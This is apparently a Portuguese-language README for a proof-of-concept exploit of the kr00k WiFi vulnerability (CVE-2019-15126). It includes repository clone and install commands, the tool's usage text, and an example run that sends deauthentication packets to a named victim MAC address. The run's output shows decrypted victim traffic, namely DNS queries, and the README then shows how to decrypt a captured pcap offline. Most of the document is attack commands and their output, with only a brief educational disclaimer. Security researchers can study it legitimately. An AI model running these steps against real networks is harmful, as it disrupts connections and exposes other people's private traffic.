
Exploit de PoC para a vulnerabilidade CVE-2019-15126 kr00k
Este é um exploit PoC para a vulnerabilidade kr00k CVE-2019-15126.
Este projeto destina-se apenas a fins educacionais e não pode ser usado para violação da lei ou ganho pessoal.
O autor deste projeto não se responsabiliza por qualquer possível dano causado pelos materiais.
Para usar esses scripts, você precisará de uma placa WiFi que suporte o modo monitor ativo com injeção de quadros. Recomendamos o chip Atheros AR9280 (IEEE 802.11n) que usamos para desenvolver e testar o código. Testamos este PoC no Kali Linux
# clone main repo
git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie
# install dependencies
sudo pip3 install -r requirements.txt
Este é o arquivo exploit principal que implementa o ataque kr00k
->~:python3 r00kie-kr00kie.py -h
usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID]
[-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY]
[-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q]
PoC of CVE-2019-15126 kr00k vulnerability
optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Set wireless interface name for listen packets
-l CHANNEL, --channel CHANNEL
Set channel for wireless interface (default: 1)
-b BSSID, --bssid BSSID
Set WiFi AP BSSID (example: "01:23:45:67:89:0a")
-c CLIENT, --client CLIENT
Set WiFi client MAC address (example:
"01:23:45:67:89:0b")
-n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER
Set number of deauth packets for one iteration
(default: 5)
-d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY
Set delay between sending deauth packets (default: 5)
-p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ
Set path to PCAP file for read encrypted packets
-r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT
Set path to PCAP file for write decrypted packets
-q, --quiet Minimal output
Para iniciar um ataque, você precisa saber o bssid dos pontos de acesso, seu canal e o endereço MAC da vítima. Você pode encontrá-los usando o utilitário airodump-ng wlan0.
Execute o exploit:
->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/
[!] Kill processes that prevent monitor mode!
[*] Wireless interface: wlan0 already in mode monitor
[*] Set channel: 11 on wireless interface: wlan0
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30074
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce1
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0xa649
###[ DNS ]###
id = 55281
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30075
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce0
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0x104b
###[ DNS ]###
id = 28117
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = AAAA
| qclass = IN
an = None
ns = None
ar = None
Além disso, se você já interceptou tráfego (arquivo pcap) após o ataque kr00t, você pode descriptografar:
->~:python3 r00kie-kr00kie.py -p encrypted_packets.pcap
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/